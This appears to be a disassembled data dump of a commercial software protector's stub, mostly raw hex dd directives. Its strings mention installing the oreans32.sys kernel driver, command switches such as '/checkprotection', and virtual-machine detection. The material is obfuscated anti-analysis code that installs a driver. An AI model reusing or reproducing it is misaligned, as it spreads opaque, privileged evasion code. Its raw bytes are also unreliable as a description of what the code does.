		dd 1D064995h, 89036A06h, 1D15B58Dh, 66006A06h, 6ADADCBAh
		dd 50006A03h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 0BF5B6EFDh, 0CA10221Dh, 0CA8B6644h, 0AED95668h
		dd 12E984h, 81860000h, 42393212h, 0CE983908h, 55F9DB3h
		dd 1DFC1899h, 0AA240481h, 0F3B5126h, 683h, 0F9BD8B00h
		dd 8D061D21h, 1FA7A39Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0F0BEC122h, 8908579Fh
		dd 1D1D1185h, 0FA8B9306h, 95899350h, 61D2A0Dh, 0BD89D0FFh
		dd 61D2B49h, 0CD850F40h, 89000002h, 1D28AD8Dh, 95095806h
		dd 61D0371h, 0D6BF0F56h, 5250505Fh, 12E8h, 0EE814A00h
		dd 0FDAD48E5h, 3DB6C30Fh, 0BC8E33DFh, 573CDED0h, 310F595Fh
		dd 13E9h, 0A8F19300h, 9E604F5Ch, 1DE7A2D5h, 33D129Ah, 2C31A9D6h
		dd 489585Ah, 0C5BD8B24h, 0E9061D17h, 11h, 3216F28h, 0E7919FDAh
		dd 3831DD82h, 0F93E49F0h, 6A006A08h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 544AC353h
		dd 0B8816C24h, 52C07292h, 0C809F281h, 685F4484h, 7DFC7530h
		dd 3481D38Ah, 0FC75B024h, 0D595017Dh, 6A061D03h, 51006A03h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 52232D50h, 0E1816614h, 0BD8B5522h, 61D1BC9h,	0C88B006Ah
		dd 0BF66036Ah, 8868F618h, 664B480Ch, 817E9FBEh,	0F3782404h
		dd 858974B7h, 61D1571h,	0A7AC9D8Dh, 6A061Fh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0C6CB1AC3h
		dd 0DF8F920Fh, 60694095h, 810Fh, 9D8B0000h, 61D2C2Dh, 1C895061h
		dd 0D0FFF524h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	91C35646h, 6027EAA9h, 48E0Fh, 0BA660000h, 0D1B7887Ah
		dd 850F4061h, 160h, 58CEB70Fh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 67C35242h, 6608D980h, 502513BAh
		dd 89CF8B66h, 6EBF2404h, 6A418954h, 0F38B6600h,	0BD99509h
		dd 0F968061Dh, 0F60B58Bh, 1389h, 0AE800h, 1E8E0000h, 8B7B2E25h
		dd 4886E18h, 59CA8B66h,	79243481h, 5160B58Bh, 1059589h
		dd 6A5A061Dh, 38A0F03h,	53000000h, 6A5EF9h, 48A9F181h
		dd 32BA6271h, 6A1BCF64h, 0C5958B03h, 68061D16h,	0A5B7ABF4h
		dd 348162B1h, 0B7ABF424h, 12E965h, 58130000h, 0EA1BA201h
		dd 0B531B021h, 6BCFEFFFh, 6116B1C0h, 8DF8B70Fh,	1FA7B79Dh
		dd 13E906h, 41280000h, 0A4B94DBBh, 410C9122h, 7D9F1637h
		dd 6BA23167h, 51525015h, 0B94A6ABFh, 895E5A45h,	8160241Ch
		dd 12099FD0h, 8D8B6153h, 61D037Dh, 6AD0FFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0C6BA64C3h
		dd 0F40A318h, 4B85h, 858B6000h,	61D01C9h, 9498589h, 5861061Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0CEC35040h
		dd 0D5A3B0E3h, 0D98E6655h, 3870Fh, 0B70F0000h, 0FE8A60D7h
		dd 0DBE961h, 95890000h,	61D2E95h, 0F18BD88Bh, 6E58589h
		dd 8B4B061Dh, 0C6F858CAh, 1D1B2585h, 0B58B4306h, 61D1C3Dh
		dd 4E8h, 764AA700h, 525060C0h, 0F815B966h, 5E8310Fh, 0CE000000h
		dd 0B4F00D8Bh, 0E9585A5Ah, 0Ah,	0FA54C0A8h, 0D52B31AEh
		dd 506188ADh, 8B6DB660h, 448B61C8h, 8B0424h, 4489CB8Bh
		dd 0F580424h, 68Dh, 0FD958900h,	0FF061D1Ah, 1D11E5B5h
		dd 68A0F06h, 89000000h,	1D2AFD85h, 83858D06h, 81061D3Ah
		dd 64831E2h, 89D0FF18h,	1D071D9Dh, 0D7816606h, 5093B13Fh
		dd 505EFE8Bh, 93D38B66h, 0A9BD8953h, 5A061D2Fh,	0B70FD0FFh
		dd 919D8DF1h, 8B061D71h, 1D2571B5h, 1B806h, 8E0F0000h
		dd 0Dh,	6E8h, 0A6A68400h, 0F9406420h, 0B2E3FF5Fh, 0F8C18B22h
		dd 880FC08Bh, 5, 0D19EFFB9h, 69BD835Ch,	61D16h,	0BD830975h
		dd 61D0121h, 50197400h,	0B8C08B53h, 40Fh, 0F3D8589h, 9D8D061Dh
		dd 61FA6A4h, 585BD3FFh,	121BD83h, 7400061Dh, 0B8535017h
		dd 40Fh, 0F3D8589h, 9D8D061Dh, 61FA345h, 585BD3FFh, 15158D8Bh
		dd 6A061Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 1B5682C3h, 252F5B3Eh, 0BF0FBDE5h,	0E9C08BC9h
		dd 99h,	6775622Fh, 63656863h, 2F00326Bh, 63677562h, 6B636568h
		dd 6F662F00h, 72656372h, 2F006E75h, 63677562h, 6B636568h
		dd 6C6C7566h, 68732F00h, 6F63776Fh, 2F006564h, 776F6873h
		dd 65646F63h, 632F0032h, 74726Ch, 7369642Fh, 732F0031h
		dd 69776F68h, 6174736Eh, 65636Eh, 7465672Fh, 74736C77h
		dd 73757461h, 6F6C2F00h, 61747367h, 737574h, 6D75642Fh
		dd 61747370h, 737574h, 0
aCheckprotectio	db '/checkprotection',0
		align 4
		dd 0B8BD8300h, 61FAEh, 0A840Fh,	85C70000h, 61D0121h, 1
		dd 1B2585C6h, 0E847061Dh, 4, 906D6C8Dh,	24448B50h, 89008B04h
		dd 58042444h, 11E5B5FFh, 858D061Dh, 61D3A83h, 0D0FFD0FFh
		dd 3F80F88Bh, 22850F22h, 47000000h, 0FAE22B0h, 0FFFFF985h
		dd 3F80FFh, 318840Fh, 80470000h, 840F003Fh, 30Eh, 1EE9h
		dd 3F8000h, 300840Fh, 3F800000h, 6850F20h, 47000000h, 6E9h
		dd 0E2E94700h, 80FFFFFFh, 850F003Fh, 5,	2DDE9h,	1E900h
		dd 80470000h, 840F203Fh, 0FFFFFFF6h, 0F003F80h,	585h, 2C0E900h
		dd 0AE80000h, 0E9000000h, 0FFFFFFCBh, 2B1E9h, 38B58D00h
		dd 0E8061FAEh, 225h, 0AECDBD03h, 0BD83061Fh, 61FAECDh
		dd 0B840F00h, 0C7000000h, 1D166985h, 106h, 0B58DC300h
		dd 61FAE43h, 1FCE8h, 0CDBD0300h, 83061FAEh, 1FAECDBDh
		dd 840F0006h, 0Bh, 12185C7h, 1061Dh, 8DC30000h,	1FAEBCB5h
		dd 1D3E806h, 0BD030000h, 61FAECDh, 0AECDBD83h, 0F00061Fh
		dd 0B84h, 1585C700h, 1061D1Ah, 0C3000000h, 0AE4DB58Dh
		dd 0AAE8061Fh, 3000001h, 1FAECDBDh, 0CDBD8306h,	61FAEh
		dd 0B840Fh, 85C70000h, 61D0121h, 1, 57B58DC3h, 0E8061FAEh
		dd 181h, 0AECDBD03h, 0BD83061Fh, 61FAECDh, 15840F00h, 0C7000000h
		dd 1D012185h, 106h, 6985C700h, 1061D16h, 0C3000000h, 0AE65B58Dh
		dd 4EE8061Fh, 3000001h,	1FAECDBDh, 0CDBD8306h, 61FAEh
		dd 0A840Fh, 85C70000h, 61D0575h, 1, 0AE6FB58Dh,	26E8061Fh
		dd 3000001h, 1FAECDBDh,	0CDBD8306h, 61FAEh, 0A840Fh, 85C70000h
		dd 61D0575h, 1,	0AE7AB58Dh, 0FEE8061Fh,	3000000h, 1FAECDBDh
		dd 0CDBD8306h, 61FAEh, 0A840Fh,	85C70000h, 61D1BA5h, 1
		dd 0AE80B58Dh, 0D6E8061Fh, 3000000h, 1FAECDBDh,	0CDBD8306h
		dd 61FAEh, 0A840Fh, 85C70000h, 61D2F1Dh, 1, 0AE86B58Dh
		dd 0AEE8061Fh, 3000000h, 1FAECDBDh, 0CDBD8306h,	61FAEh
		dd 0A840Fh, 85C70000h, 61D01F9h, 1, 0AE94B58Dh,	86E8061Fh
		dd 3000000h, 1FAECDBDh,	0CDBD8306h, 61FAEh, 0A840Fh, 85C70000h
		dd 61D10C9h, 1,	0AEA1B58Dh, 5EE8061Fh, 3000000h, 1FAECDBDh
		dd 0CDBD8306h, 61FAEh, 0A840Fh,	85C70000h, 61D16DDh, 1
		dd 0AEACB58Dh, 36E8061Fh, 3000000h, 1FAECDBDh, 0CDBD8306h
		dd 61FAEh, 0A840Fh, 85C70000h, 61D2D45h, 1, 1E9h, 3F804700h
		dd 9840F20h, 80000000h,	850F003Fh, 0FFFFFFEDh, 1B960C3h
		dd 8B000000h, 19E9DEh, 3F800000h, 2850F00h, 2B000000h
		dd 38178AC9h, 2840F16h,	2B000000h, 804746C9h, 840F003Eh
		dd 8, 850FC90Bh, 0FFFFFFD6h, 840FC90Bh,	21h, 0F003F80h
		dd 984h, 203F8000h, 0A850Fh, 1B90000h, 0E9000000h, 5, 0B9h
		dd 0FC90B00h, 0D84h, 89F32B00h,	1FAECDB5h, 0AE906h, 85C70000h
		dd 61FAECDh, 0
		dd 0C88BC361h, 20EE9h, 61433300h, 746F6E6Eh, 69727720h
		dd 6F206574h, 6E616572h, 78762E73h, 4D0D0A64h, 20656B61h
		dd 65727573h, 61687420h, 68742074h, 66207369h, 20656C69h
		dd 6E207369h, 6220746Fh, 676E6965h, 65737520h, 79622064h
		dd 6F6E6120h, 72656874h, 6F727020h, 6D617267h, 2Eh, 67h	dup(0)
		dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 0E9000000h, 0EFh, 1B2585C6h,	6847061Dh, 0E3E45B86h
		dd 11E5B5FFh, 858D061Dh, 61D3A83h, 468D0FFh, 8D000001h
		dd 1D0F799Dh, 0D0FF5306h, 49B58D50h, 8B061FB4h,	0AEC032FEh
		dd 0FFF9850Fh, 0FE2BFFFFh, 8B58CF8Bh, 0F3F803FBh, 2585C6A4h
		dd 43061D1Bh, 8E6EFC68h, 0E5B5FFBCh, 8D061D11h,	1D3A8385h
		dd 8DD0FF06h, 1D0F79B5h, 68006A06h, 80h, 6A026Ah, 68006Ah
		dd 56C00000h, 0D88BD0FFh, 1B2585C6h, 6857061Dh,	0A69BEE56h
		dd 11E5B5FFh, 858D061Dh, 61D3A83h, 0BD8DD0FFh, 61D04C5h
		dd 0B56F8D8Dh, 6A061Fh,	37D06857h, 53510000h, 0C085D0FFh
		dd 1B850Fh, 0B58D0000h,	61FB251h, 9F6E858Dh, 0D0FF061Fh
		dd 71918D8Dh, 0B8061Dh,	0FF000000h, 2585C6E1h, 43061D1Bh
		dd 764AA768h, 0E5B5FFC0h, 8D061D11h, 1D3A8385h,	53D0FF06h
		dd 0B9C3D0FFh, 37D0h, 0E8h, 0C0835800h,	0E908890Eh, 2
		dd 0D0E9C38Bh, 4D000037h, 300905Ah, 4000000h, 0FF000000h
		dd 0B80000FFh, 0
		dd 40000000h, 8	dup(0)
		dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h
		dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh
		dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh
		dd 240A0D0Dh, 0
		dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h
		dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h
		dd 887376h, 0
		dd 4C000000h, 45h, 2000000h, 400h, 0
		dd 14000380h, 5	dup(0)
		dd 0C0000002h, 90000001h, 0
		dd 7E000000h, 0
		dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0)
		dd 2C000000h, 38000001h, 1, 0
		dd 42000000h, 96000001h, 0D2000001h, 1,	0D2000000h, 1
		dd 0
		dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0)
		dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h
		dd 444F43h, 100h, 200h,	300h, 400h, 500h, 600h,	700h, 800h
		dd 900h, 0A00h,	0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h
		dd 1100h, 1200h, 1300h,	8001400h, 4F525058h, 44585654h
		dd 1000000h, 3000103h, 2 dup(0)
		dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h
		dd 7005001h, 1019100h, 27279Bh,	276F0106h, 17D0179h, 1850181h
		dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh
		dd 27h,	360h dup(0)
		dd 1000004h, 58000000h,	544F5250h, 445856h, 800000h, 8 dup(0)
		dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h
		dd 527376h, 9C3h dup(0)
		dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h
		dd 9 dup(0)
		dd 33C3C033h, 7E83C3C0h, 475000Ch, 1AEBC033h, 10C7E83h
		dd 58D1475h, 0
		dd 89187E8Bh, 2046C707h, 4, 0CC3C033h, 4F525058h, 44585654h
		dd 4244445Fh, 0E8000000h, 8, 0C145FF2Bh, 79111BFFh, 6659A6B0h
		dd 81AC9FB8h, 6179C1h, 5BD8900h, 0BE061D2Ch, 0
		dd 311C8BF8h, 591958Bh,	0EB81061Dh, 4F0B3324h, 7D8D2360h
		dd 56061D20h, 13E9h, 0DE013C00h, 27546BA3h, 0DF5E23D9h
		dd 593CA6AAh, 0AD2D2228h, 0F3816159h, 2CC1EFCAh, 1343DA81h
		dd 0F38145D1h, 264B7720h, 13E9h, 91287E00h, 3D4961BAh
		dd 0FC1024C8h, 0E9BF0755h, 0B6BBF471h, 66311C89h, 0A07BE781h
		dd 8EEE81FCh, 8942234Dh, 1D1BF1BDh, 8AC68106h, 0F42234Dh
		dd 0FE81FEBFh, 0FFFF9F64h, 1D850Fh, 858B0000h, 61D1659h
		dd 30E9h, 0E7061900h, 7B690B21h, 0EDE2DA4Ch, 0A2A05237h
		dd 52E4A0C4h, 0EC0EBA66h, 0FF53E95Fh, 0C166FFFFh, 0C091AE9Ah
		dd 0D3C5A67h, 2479F50Bh, 5E7B73B3h, 10A9E9A7h, 44410000h
		dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h
		dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h
		dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h
		dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h
		dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h
		dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh
		dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0)
aOreans32_sys	db 'oreans32.sys',0
		align 10h
		dd 0
		dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
		dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
		dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
		dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
		dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot	db 'SYSTEMROOT',0
aSSystem32Drive	db '%s\system32\drivers\%s',0
aSSyswow64Drive	db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0	db '%s\system32\drivers\oreans32.sys',0
		align 4
		dd 48h dup(0)
		dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
		dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
		dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
		dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
		dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
		dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
		dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
		dd 72676F72h, 2E6D61h, 59h dup(0)
		dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
		dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
		dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
		dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
		dd 20726568h, 676F7270h, 2E6D6172h, 67h	dup(0)
		dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
		dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
		dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
		dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
		dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
		dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
		dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
		dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
		dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
		dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
		dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
		dd 65h,	72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
		dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
		dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
		dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
		dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
		dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
		dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
		dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
		dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
		dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
		dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
		dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
		dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
		dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
		dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh	dup(0)
		dd 10000000h, 0
		dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
		dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah
		dd 21h dup(0)
		dd 8B000000h, 558D89C4h, 89061D0Fh, 1D08B985h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 320497BCh, 0BD01B18Bh, 61D2075h, 8B66C08Bh, 0BE9F9h
		dd 68E40000h, 695A627Eh, 4D68E934h, 69BD83F8h, 61D16h
		dd 0BD830975h, 61D0121h, 50197400h, 0B8C08B53h,	43Dh, 2A698589h
		dd 9D8D061Dh, 61FA63Dh,	585BD3FFh, 121BD83h, 7400061Dh
		dd 0B8535017h, 43Dh, 2A698589h,	9D8D061Dh, 61FA32Ch, 585BD3FFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 30C35747h
		dd 0E8656761h, 0Ah, 0A76D1D20h,	621FAC89h, 816600B1h, 5A70FBDFh
		dd 7DE935BAh, 8BC08B4Dh, 1D09B58Dh, 0F9C08B06h,	1669BD83h
		dd 7500061Dh, 21BD8309h, 61D01h, 53501374h, 0B8C08Bh, 8D000000h
		dd 1FA4DF9Dh, 5BD3FF06h, 21BD8358h, 61D01h, 53501174h
		dd 0B8h, 909D8D00h, 0FF061FA3h,	0B585BD3h, 1D1B5D8Dh, 0BDBD8906h
		dd 6A061D08h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 4D9EC355h, 8C22C15Eh, 89A6B6FAh
		dd 1D2FCDB5h, 0C08BFC06h, 50C08BF8h, 5E8h, 6ABEDB00h, 9589CCA7h
		dd 61D29B5h, 0BD835F59h, 61D1669h, 83097500h, 1D0121BDh
		dd 13740006h, 0C08B5350h, 0B8h,	119D8D00h, 0FF061FA4h
		dd 83585BD3h, 1D0121BDh, 11740006h, 0B85350h, 8D000000h
		dd 1FA35E9Dh, 5BD3FF06h, 0CEFFB958h, 0BD8B6A73h, 61D15FDh
		dd 8D29C08Bh, 61D16A9h,	68B0Fh,	0BD0B0000h, 61D1B55h, 6AC08Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 6BCDA2C3h, 839A6D4Eh, 1D1669BDh, 9750006h, 121BD83h
		dd 7400061Dh, 8B535013h, 0B8C0h, 9D8D0000h, 61FA478h, 585BD3FFh
		dd 121BD83h, 7400061Dh,	0B8535011h, 0
		dd 0A3779D8Dh, 0D3FF061Fh, 0B531585Bh, 61D0879h, 8B0DBA66h
		dd 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 1942B0C3h, 0EC8CDCEDh, 21A4D981h,	0BD8B26B1h
		dd 61D1A21h, 0E181C08Bh, 56E3845Bh, 1669BD83h, 7500061Dh
		dd 21BD8309h, 61D01h, 53501374h, 0B8C08Bh, 8D000000h, 1FA3AA9Dh
		dd 5BD3FF06h, 5E958h, 52C0000h,	8B584D48h, 1D1B418Dh, 0B1C08B06h
		dd 1C08B4Bh, 1D230DBDh,	69BD8306h, 61D16h, 0BD830975h
		dd 61D0121h, 50197400h,	0B8C08B53h, 7D0h, 2A698589h, 9D8D061Dh
		dd 61FA63Dh, 585BD3FFh,	121BD83h, 7400061Dh, 0B8535017h
		dd 7D0h, 2A698589h, 9D8D061Dh, 61FA32Ch, 585BD3FFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0A6C35343h, 0CA81A606h
		dd 78DE757Fh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 18h,	35C35343h, 13F7AE28h, 14E8h, 2DE85000h,	902D97ABh
		dd 19A623Eh, 6FF8638Ch,	0D7F78271h, 0D59589FEh,	59061D32h
		dd 85C6C08Bh, 61D1B25h,	0FE853h, 26C00000h, 0D114FE64h
		dd 0D63AB217h, 0A54D092h, 8166500Ah, 5F9FD3F2h,	5F906859h
		dd 6A9939h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 543B39C3h, 379E9F7h, 1D2A79BDh, 0E5B5FF06h
		dd 6A061D11h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 609FC356h, 4DF9BD0Eh, 16CA8166h
		dd 83858DE7h, 6A061D3Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 5F32C357h, 8BDBD340h
		dd 1D15A18Dh, 89D0FF06h, 1D25B985h, 19858906h, 6A061D15h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 20E7C356h, 0AC1AFCDFh, 85C6D18Bh,	61D1B25h
		dd 0AABCBF57h, 6681B49h, 29900452h, 1D122195h, 0E5B5FF06h
		dd 0F061D11h, 138Dh, 0AE800h, 757E0000h, 0FF08A8ADh, 31684D58h
		dd 5AD7BF0Fh, 3A83858Dh, 14E9061Dh, 0D7000000h,	6BBEEA36h
		dd 6E4E9AE1h, 5E638A26h, 0BFAB359Fh, 0FF11682Dh, 499D89D0h
		dd 89061D19h, 1D2CD585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 9CC49E41h, 18DF8166h
		dd 2585C6A1h, 43061D1Bh, 16E19529h, 2868061Dh, 6ABC9070h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0FE5BC357h, 0A8743141h, 80567F89h, 0FF5A9ED6h
		dd 1D11E5B5h, 0D68B6606h, 3A83858Dh, 0B589061Dh, 61D0841h
		dd 8B66D0FFh, 98589FBh,	6A061D02h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89FFC352h
		dd 1D220185h, 2585C606h, 4C061D1Bh, 4F1BD8Bh, 0E968061Dh
		dd 8BD9DA1Ch, 0E5B5FFFBh, 81061D11h, 76A918D9h,	83858D68h
		dd 0E9061D3Ah, 0Ah, 205C6BCBh, 3CA15C3Ah, 0D0FF7922h, 0B65CD181h
		dd 858973EEh, 61D2BB1h,	6850Fh,	0B5890000h, 61D0611h, 1B2585C6h
		dd 0F46061Dh, 1882h, 13E900h, 0EAD40000h, 0CD1565A4h, 1B767E14h
		dd 9D31281Eh, 6D11A745h, 61468B3h, 6ABADEh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 2567A1C3h
		dd 259589ADh, 0FF061D32h, 1D11E5B5h, 858DF806h,	61D3A83h
		dd 922F49BFh, 6AD0FF3Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0C6ECC351h,	84722EEAh
		dd 89CFB70Fh, 1D254D85h, 14E906h, 64460000h, 2F2BA31Eh
		dd 9DE03B35h, 95C45D7Eh, 6115A1A7h, 85C6BA52h, 61D1B25h
		dd 50006A47h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 73519A52h, 295627B1h, 1D0465BDh,	0E2685F06h
		dd 898A0FB5h, 1D04BD85h, 0E5B5FF06h, 80061D11h,	858D5EF5h
		dd 61D3A83h, 66D68B60h,	612817B9h, 6AD0FFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 6DE361C3h
		dd 32198589h, 958B061Dh, 61D1A6Dh, 1B2585C6h, 947061Dh
		dd 1D08BD8Dh, 0B5F36806h, 0BF0F83D0h, 0E5B5FFF8h, 6A061D11h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 8865C352h, 858D56C5h, 61D3A83h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 21C35646h, 426043E0h
		dd 5A24BA66h, 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 7B9926C3h, 6692881Ch, 8589D08Bh
		dd 61D3101h, 2585C6F5h,	77061D1Bh, 6820Fh, 95890000h, 61D2A01h
		dd 97A8A368h, 0BD89FCF3h, 61D1B69h, 1365B5FFh, 0B589061Dh
		dd 61D0425h, 3A83858Dh,	0DE9061Dh, 0C000000h, 0A4240CFEh
		dd 80345AEFh, 6A907979h, 8D89D0FFh, 61D0851h, 32C18D8Bh
		dd 8589061Dh, 61D0C21h,	7F1B589h, 85C6061Dh, 61D1B25h
		dd 0FAF66847h, 6A8728h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0BE99AC3h, 60000000h, 0DFC9A0FFh
		dd 0A50DFE6Fh, 0FFF9734Dh, 1D11E5B5h, 0F9BD2906h, 8B061D22h
		dd 83858DF8h, 0F061D3Ah, 68Ch, 0C5952900h, 0FF061D1Bh
		dd 55006AD0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 918529BBh, 89061D00h, 1D03C585h,	0BE806h
		dd 48690000h, 0BD657C81h, 0BDA8689Eh, 0B0F78163h, 5F29A406h
		dd 1B2585C6h, 0E943061Dh, 8, 33CC5898h,	0AA07CA65h, 8E6EFC68h
		dd 298D89BCh, 0FF061D32h, 1D11E5B5h, 0B7BA6606h, 83858D23h
		dd 0E9061D3Ah, 14h, 111FF1E0h, 0D2ED5FB5h, 0D86DB4BCh
		dd 0A34C92BAh, 0CAB5DA51h, 0BD23D0FFh, 61D3221h, 0B5B501h
		dd 8589061Dh, 61D2F3Dh,	1B2585C6h, 6A45061Dh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 66CDC355h, 69BAF281h, 325BA66h, 69685A52h, 298E7269h
		dd 1D1B059Dh, 0E5B5FF06h, 6A061D11h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 2653C351h
